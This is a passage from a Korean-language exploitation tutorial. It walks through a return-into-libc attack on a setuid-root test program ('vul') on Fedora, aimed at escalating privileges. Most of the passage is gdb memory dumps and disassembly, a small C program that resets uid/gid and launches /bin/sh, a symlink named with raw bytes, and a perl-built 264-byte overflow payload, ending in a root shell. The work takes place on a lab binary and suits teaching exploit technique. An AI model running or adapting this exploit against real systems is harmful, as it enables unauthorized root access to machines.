Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
   깃났.
Error while reading shared library symbols:
: 洹몃?漿俏 應좍졾━媛 壹.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
: 洹몃?漿俏 應좍졾━媛 壹.
Error while reading shared library symbols:
```

: 洹먓?漿佾 應쥑盃一媛 壹.

```
Breakpoint 1, 0x08048379 in main ()
(gdb) x/50x 0x8049000
0x8049000:      0x464c457f      0x00010101      0x00000000      0x00000000
0x8049010:      0x00030002      0x00000001      0x080482c0      0x00000034
0x8049020:      0x00000788      0x00000000      0x00200034      0x00280007
0x8049030:      0x0019001c      0x00000006      0x00000034      0x08048034
0x8049040:      0x08048034      0x000000e0      0x000000e0      0x00000005
0x8049050:      0x00000004      0x00000003      0x00000114      0x08048114
0x8049060:      0x08048114      0x00000013      0x00000013      0x00000004
0x8049070:      0x00000001      0x00000001      0x00000000      0x08048000
0x8049080:      0x08048000      0x0000047c      0x0000047c      0x00000005
0x8049090:      0x00001000      0x00000001      0x0000047c      0x0804947c
0x80490a0:      0x0804947c      0x00000100      0x00000104      0x00000006
0x80490b0:      0x00001000      0x00000002      0x00000490      0x08049490
0x80490c0:      0x08049490      0x000000c8
(gdb)
0x80490c8:      0x000000c8      0x00000006      0x00000004      0x00000004
0x80490d8:      0x00000128      0x08048128      0x08048128      0x00000020
0x80490e8:      0x00000020      0x00000004      0x00000004      0x6474e551
0x80490f8:      0x00000000      0x00000000      0x00000000      0x00000000
0x8049108:      0x00000000      0x00000006      0x00000004      0x62696c2f
0x8049118:      0x2d646c2f      0x756e696c      0x6f732e78      0x0000322e
0x8049128:      0x00000004      0x00000010      0x00000001      0x00554e47
0x8049138:      0x00000000      0x00000002      0x00000002      0x00000005
0x8049148:      0x00000003      0x00000006      0x00000004      0x00000001
0x8049158:      0x00000005      0x00000000      0x00000000      0x00000000
0x8049168:      0x00000000      0x00000003      0x00000002      0x00000000
0x8049178:      0x00000000      0x00000000      0x00000000      0x00000044
0x8049188:      0x00000000      0x000000ef
(gdb)
0x8049190:      0x00000012      0x00000035      0x08048474      0x00000004
0x80491a0:      0x000e0011      0x00000001      0x00000000      0x00000000
0x80491b0:      0x00000020      0x00000015      0x00000000      0x00000000
0x80491c0:      0x00000020      0x0000002e      0x00000000      0x00000030
0x80491d0:      0x00000012      0x764a5f00      0x6765525f      0x65747369
0x80491e0:      0x616c4372      0x73657373      0x675f5f00      0x5f6e6f6d
0x80491f0:      0x72617473      0x005f5f74      0x6362696c      0x2e6f732e
0x8049200:      0x74730036      0x79706372      0x4f495f00      0x6474735f
```

```
0x8049210:      0x755f6e69      0x00646573      0x696c5f5f      0x735f6362
0x8049220:      0x74726174      0x69616d5f      0x4c47006e      0x5f434249
0x8049230:      0x00302e32      0x00020000      0x00000001      0x00020000
0x8049240:      0x00010001      0x00000024      0x00000010      0x00000000
0x8049250:      0x0d696910      0x00020000
(gdb)
0x8049258:      0x00000056      0x00000000      0x08049558      0x00000406
0x8049268:      0x08049568      0x00000107      0x0804956c      0x00000507
0x8049278:      0x83e58955      0x61e808ec      0xe8000000      0x000000bc
0x8049288:      0x0001a3e8      0x00c3c900      0x956035ff      0x25ff0804
0x8049298:      0x08049564      0x00000000      0x956825ff      0x00680804
0x80492a8:      0xe9000000      0xfffffffe0     0x956c25ff      0x08680804
0x80492b8:      0xe9000000      0xfffffffd0     0x895eed31      0xf0e483e1
0x80492c8:      0x68525450      0x080483ec      0x0483a468      0x68565108
0x80492d8:      0x08048370      0xffffbfe8      0x9090f4ff      0x53e58955
0x80492e8:      0x000000e8      0xc3815b00      0x0000126f      0xfc838b50
0x80492f8:      0x85ffffff      0xff0274c0      0xfc5d8bd0      0x9090c3c9
0x8049308:      0x83e58955      0x3d8008ec      0x0804957c      0xa1297500
0x8049318:      0x08049578      0xd285108b
(gdb)
0x8049320:      0xf6891774      0xa304c083      0x08049578      0x78a1d2ff
0x8049330:      0x8b080495      0x75d28510      0x7c05c6eb      0x01080495
0x8049340:      0xf689c3c9      0x83e58955      0x8ca108ec      0x85080494
0x8049350:      0xb81974c0      0x00000000      0x1074c085      0x680cec83
0x8049360:      0x0804948c      0xc483d0ff      0x00768d10      0x9090c3c9
0x8049370:      0x81e58955      0x000108ec      0xf0e48300      0x000000b8
0x8049380:      0x83c42900      0x458b08ec      0x04c0830c      0x858d30ff
0x8049390:      0xfffffef8      0xff16e850      0xc483ffff      0x0000b810
0x80493a0:      0xc3c90000      0x57e58955      0xec835356      0x0000e80c
0x80493b0:      0x815b0000      0x0011aac3      0xfebae800      0x938dffff
0x80493c0:      0xffffff20      0xff208b8d      0xca29ffff      0xfac1f631
0x80493d0:      0x73d63902      0x90d7890f      0x20b394ff      0x46ffffff
0x80493e0:      0xf472fe39      0x5b0cc483
(gdb)
0x80493e8:      0xc3c95f5e      0x56e58955      0x0000e853      0x815b0000
0x80493f8:      0x001166c3      0x208b8d00      0x8dffffff      0xffff2083
0x8049408:      0xc1c129ff      0xc98502f9      0x75ff718d      0x003ae80b
0x8049418:      0x5e5b0000      0xf689c3c9      0x20b394ff      0x89ffffff
0x8049428:      0xd2854ef2      0xe5ebf275      0x53e58955      0x947ca152
0x8049438:      0xf8830804      0x947cbbff      0x0c740804      0xff04eb83
```

```
0x8049448:      0x83038bd0      0xf475fff8      0xc3c95b58      0x53e58955
0x8049458:      0x000000e8      0xc3815b00      0x000010ff      0xfe9ee852
0x8049468:      0x5d8bffff      0x00c3c9fc      0x00000003      0x00020001
0x8049478:      0x00000000      0xffffffff      0x00000000      0xffffffff
0x8049488 <__DTOR_END__>:       0x00000000      0x00000000      0x00000001      0x00000024
0x8049498 <_DYNAMIC+8>: 0x0000000c      0x08048278      0x0000000d      0x08048454
0x80494a8 <_DYNAMIC+24>:        0x00000004      0x08048148
(gdb)
0x80494b0 <_DYNAMIC+32>:        0x00000005      0x080481d4      0x00000006      0x08048174
0x80494c0 <_DYNAMIC+48>:        0x0000000a      0x00000060      0x0000000b      0x00000010
0x80494d0 <_DYNAMIC+64>:        0x00000015      0x005714b8      0x00000003      0x0804955c
0x80494e0 <_DYNAMIC+80>:        0x00000002      0x00000010      0x00000014      0x00000011
0x80494f0 <_DYNAMIC+96>:        0x00000017      0x08048268      0x00000011      0x08048260
0x8049500 <_DYNAMIC+112>:       0x00000012      0x00000008      0x00000013      0x00000008
0x8049510 <_DYNAMIC+128>:       0x6ffffffe      0x08048240      0x6fffffff      0x00000001
0x8049520 <_DYNAMIC+144>:       0x6ffffff0      0x08048234      0x00000000      0x00000000
0x8049530 <_DYNAMIC+160>:       0x00000000      0x00000000      0x00000000      0x00000000
0x8049540 <_DYNAMIC+176>:       0x00000000      0x00000000      0x00000000      0x00000000
0x8049550 <_DYNAMIC+192>:       0x00000000      0x00000000      0x00000000      0x08049490
0x8049560 <_GLOBAL_OFFSET_TABLE_+4>:    0x005714d0      0x00566830      0x0058c9f0      0x080482b6
0x8049570 <data_start>: 0x00000000      0x00000000
(gdb) x/8x 0x8049564
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>:    0x00566830      0x0058c9f0      0x080482b6      0x00000000
0x8049574 <__dso_handle>:       0x00000000      0x08049488      0x00000000      0x00000000
(gdb)
```

마지막 부분에서 우리가 execl() 함수의 아규먼트로 사용할 수 있는 부분을 찾아냈다. execl() 함수의 시놉시스는 다음과 같다. 보다시피 execl() 함수의 경우 마지막 아규먼트는 반드시 null이 되어야 한다.

execl(char *path, char *arg0,...,char *argn, 0);

이 조건을 충족시키는 부분은 다음 부분이다.

```
0x8049564 <_GLOBAL_OFFSET_TABLE_+8>:    0x00566830      0x0058c9f0      0x080482b6      0x00000000
0x8049574 <__dso_handle>:       0x00000000      0x08049488      0x00000000      0x00000000
(gdb)
```

위의 내용을 참고하여 정리를 하면 execl(0x8049568, 0x804956c, 0x8049570)의 형태가 된다. execl() 함수의 시놉시스를 보면 각 아규먼트가 포인터이므로 주소 값을 이용해야 한다. 이제 각 주소에 담긴 내용을 확인해보자.

```
(gdb) x/8x 0x0058c9f0
0x58c9f0 <__libc_start_main>:   0x57e58955      0xec835356      0x0c458b4c      0xe810558b
0x58ca00 <__libc_start_main+16>:        0xffffff09      0x25f8c381      0x7d8b0010      0x1c758b18
(gdb) x/8x 0x080482b6
0x80482b6 <_init+62>:   0x00000868      0xffd0e900      0xed31ffff      0x83e1895e
0x80482c6 <_start+6>:   0x5450f0e4      0x83ec6852      0xa4680804      0x51080483
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@testbed fedora]$
```

0x0058c9f0에 들어가 있는 25 바이트의 데이터는 execl() 함수를 호출할 때 사용할 파일명이다. 그래서 이 데이터 값으로 심볼릭 링크를 걸어두는 것이 필요하다. 이제 심볼릭 링크로 연결될 공격용 프로그램이 필요한데, 이 프로그램은 현재 프로세스의 권한을 다시 설정하고, 쉘을 실행할 것이다. 다음은 취약한 프로그램의 소유권(setuid(0))을 그대로 유지하면서 root 쉘을 제공할 프로그램이다. return-into-libc 기법에서 자주 사용되는 system() 함수의 경우, 고전적 return-into-libc 기법을 사용하면 root 쉘을 획득하기가 힘들다는 것을 알고 있을 것이다. 물론 NULL pointer dereference protection이라는 것이 없다면 Fedora 시스템에서도 printf(), stuid(), system() 함수 세 가지를 동시에 이용하여 root 쉘을 획득하는 것이 가능할지도 모른다. 그러나 Fedora 시스템에서는 라이브러리 함수를 두 개 이상 동시에 사용하기가 힘들어졌다. 이것은 앞에서 이미 언급했던 내용이다.

```
[vangelis@testbed fedora]$ cat > exploit.c
#include <unistd.h>

main()
{
    setreuid(geteuid(),geteuid());
    setregid(getegid(),getegid());
    execl("/bin/sh", "sh", 0);
}

[vangelis@testbed fedora]$ gcc -o exploit exploit.c
```

이제 심볼릭 링크를 건다

```
[vangelis@testbed fedora]$ ln -s /home/vangelis/fedora/exploit "`perl -e 'print "\x55\x89\xe5\x57\x56\x53\x83\xec\x4c\x8b\x45\x0c\x8b\x55\x10", "\xe8\x09\xff\xff\xff\x81\xc3\xf8\x25\x10"'`"
[vangelis@testbed fedora]$ ls -l
刺怨
    24
lrwxrwxrwx  1 vangelis vangelis   29 11?12 11:28 U??WVS??L?E??U?????????%? -> /home/vangelis/fedora/exploit
-rwxrwxr-x  1 vangelis vangelis 5186 11?12 11:27 exploit
-rw-rw-r--  1 vangelis vangelis  101 11?12 11:27 exploit.c
-rwsr-xr-x  1 root     root     4725 11?12 10:31 vul
-rw-rw-r--  1 vangelis vangelis   90 11?12 10:31 vul.c
[vangelis@testbed fedora]$
```

확인해보니 심볼릭 링크가 걸려있다.

이제 공격을 위한 최종 payload를 작성하기 위해 필요한 마지막 정보 즉, 버퍼를 오버플로우시키기 위해 얼마나 많은 데이터가 필요한지 확인하는 작업만 남아 있다. 이것은 gdb를 통해 간단히 알아낼 수 있다. 버퍼를 오버플로우시키기 위한 데이터를 취약한 프로그램의 소스를 보고 판단하는 사람은 없을 것이다. 이것은 gcc 2.96 버전 이후로 더미 값이 들어가기 때문이다.

```
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>:    push   %ebp
0x08048371 <main+1>:    mov    %esp,%ebp
0x08048373 <main+3>:    sub    $0x108,%esp  // 버퍼를 오버플로우시키기 위해 264 바이트가 필요
0x08048379 <main+9>:    and    $0xfffffff0,%esp
0x0804837c <main+12>:   mov    $0x0,%eax
0x08048381 <main+17>:   sub    %eax,%esp
0x08048383 <main+19>:   sub    $0x8,%esp
0x08048386 <main+22>:   mov    0xc(%ebp),%eax
0x08048389 <main+25>:   add    $0x4,%eax
0x0804838c <main+28>:   pushl  (%eax)
0x0804838e <main+30>:   lea    0xfffffef8(%ebp),%eax
```

```
0x08048394 <main+36>:    push   %eax
0x08048395 <main+37>:    call   0x80482b0 <_init+56>
0x0804839a <main+42>:    add    $0x10,%esp
0x0804839d <main+45>:    mov    $0x0,%eax
0x080483a2 <main+50>:    leave
0x080483a3 <main+51>:    ret
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$
```

이제 필요한 정보를 다 구하고, 공격 준비를 다 끝낸 셈이다. 이제 마지막 최종 공격만 남아 있다. 공격용 payload는 다음과 같다.

buffer를 overflow시킬 data	**execl의 첫 아규먼트의 위치 – 8**	**<execl + 3>의 주소**
264 bytes	0x8049568 – 8 = 0x8049560	0x005fea03

위의 공격용 payload의 두 번째 부분을 보면 execl()의 첫 아규먼트의 위치에서 8을 빼고 있다. 이것은 execl() 함수는 execve() 함수를 내부적으로 호출하여 처리하며, execve() 함수는 파일명에 대한 포인터를 가지고 올 때 ebp+8 위치를 참조하기 때문이다. 이제 마지막 공격을 해보자.

```
[vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x264,"\x60\x95\x04\x08\x03\xea\x5f"'`
sh-2.05b# id
uid=0(root) gid=501(vangelis) groups=501(vangelis)
sh-2.05b# whoami
root
sh-2.05b#
```

드디어 root 쉘을 획득했다.